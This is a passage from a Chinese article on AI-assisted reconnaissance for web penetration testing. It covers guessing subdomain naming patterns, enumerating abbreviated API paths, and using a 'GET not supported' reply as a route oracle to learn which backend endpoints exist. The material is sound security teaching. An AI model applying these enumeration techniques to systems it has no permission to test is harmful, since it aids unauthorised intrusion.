0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">nwk</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 可能指 Newark。三个后缀被重新理解成地点或机房代码。</span></span></p><p cid="n505" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/l5pkvw.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="上下文改变模型对缩写的解释" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000411" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=61938beb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMDqVI3BW6nAQTR30nhmJpg6DiaAIC9ATThxm4xpkFsvPUKh2OGTOv7bNzTjBibIokVpaHkWmkHt5PJL3eGQiah1NaibCm3pS6IfV0s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n506" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这个例子最关键的不是&#34;AI 认出了 Maiden&#34;——幻灯片也没证明这些解释一定对。真正重要的是：</span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">一个孤立的字符串只能让模型编故事；一组来自同一目标的邻居样本，才可能让模型归纳出可验证的结构假设。</span></span></strong></span></p><p cid="n507" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">如果假设是&#34;后缀代表地点&#34;，下一步就可以生成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">sjc</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">iad</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">dfw</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">ams</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">lhr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">tyo</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 等候选，再丢给 DNS 和 HTTP 工具验证。候选不是资产，通过验证的才有资格进资产表。</span></span></p><h3 cid="n508" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">路径比子域名还头疼</span></span></h3><p cid="n509" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">子域名主要面对标签、分隔符和层级。路径还叠加了技术栈、HTTP 方法、参数、扩展名和路由规则。</span></span></p><p cid="n510" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">同一个&#34;添加用户&#34;功能，可能长这样：</span></span></p><pre spellcheck="false" lang="text" cid="n511" mdtype="fences" style="white-space:pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">POST /app/user_add.htm?company_id=3</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">POST /api/Usr_crt</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">PUT  /management/accounts/new</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">POST /console/member/save.do</span></span></pre><p cid="n512" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/8j6343.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="路径枚举需要同时理解方法、参数和技术栈" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000415" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9b690b75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMD8tuVbUVePrHZWWvXBwwGpcDf7IGmRftgbrkZtxWnPpwJREpQ5jPfHzot4RybjH4ZiaVNMHNaD9HqnHia37nMykicYIsHDk8WP3k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n513" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这也是为什么把 100 万行字典喂给 ffuf 不等于理解目标。字典解决的是&#34;有哪些常见词&#34;，目标化枚举解决的是&#34;这家开发团队会怎样把一个业务动作写进 URL&#34;。</span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n515" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">一个&#34;GET 不受支持&#34;，比十万个普通 404 更值钱</span></span></h2><p cid="n516" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">报告第 31 页开始讲作者称为真实经历的案例。</span></span></p><p cid="n517" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">他在一次 Web 渗透测试里注册账号，观察到一个创建用户接口。PPT 截图显示 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/User_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，直接用 GET 访问时，服务端返回：请求的资源不支持 GET 方法。</span></span></p><p cid="n518" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/yzoqft.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="观察到的 User_crt 接口" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000417" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e5550077&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMCkpp4tcibL0QzNsO7BHSMIbTVDLaibBOOe0xuny0dh00kUSAGFPMAnez9sprWyAS9IhFa7HAGouzT0CdRjTaYK3YTb9pQpnHZWI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n519" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这个差异很小，但很值钱。</span></span></p><p cid="n520" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">报告里手工猜错的那些候选返回的是&#34;找不到 URI 对应的资源&#34;或&#34;Controller 不存在&#34;；</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">User_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 返回的是&#34;资源存在，但 GET 不支持&#34;。截图能直接证明的是响应正文不同；实际测试时还可以继续比状态码、长度和 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Allow</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> Header。这类差异会形成路由 Oracle，泄露后端路由到底存不存在。</span></span></p><p cid="n521" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">作者去 SecLists 里搜相同模式，只找到 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">user_create</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">user_created</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 一类常见写法，没有目标用的精确缩写组合。</span></span></p><p cid="n522" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/ubh3z5.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="现成字典没有覆盖目标精确语法" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000418" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=58e68815&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMDW81OxMNk21lZIpxjtmzKbFVKsrxQMIlOrdkBYhibmxzI870MFVWgWHUXC0m68TNPveCmzkhB6WoxbbjhbPa0jia2NXRUgo9Pmk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n523" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">然后作者手工猜了一批：</span></span></p><pre spellcheck="false" lang="text" cid="n524" mdtype="fences" style="white-space:pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">Usr_dlt</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">Usr_lst</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">Usr_prm</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">Adm_crt</span></span><span leaf="" data-nest-level="3"><br/></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf="" data-nest-level="4">Adm_lst</span></span></pre><p cid="n525" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">全是一片&#34;Controller 不存在&#34;。</span></span></p><p cid="n526" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">为什么？人脑通常会先写最自然的 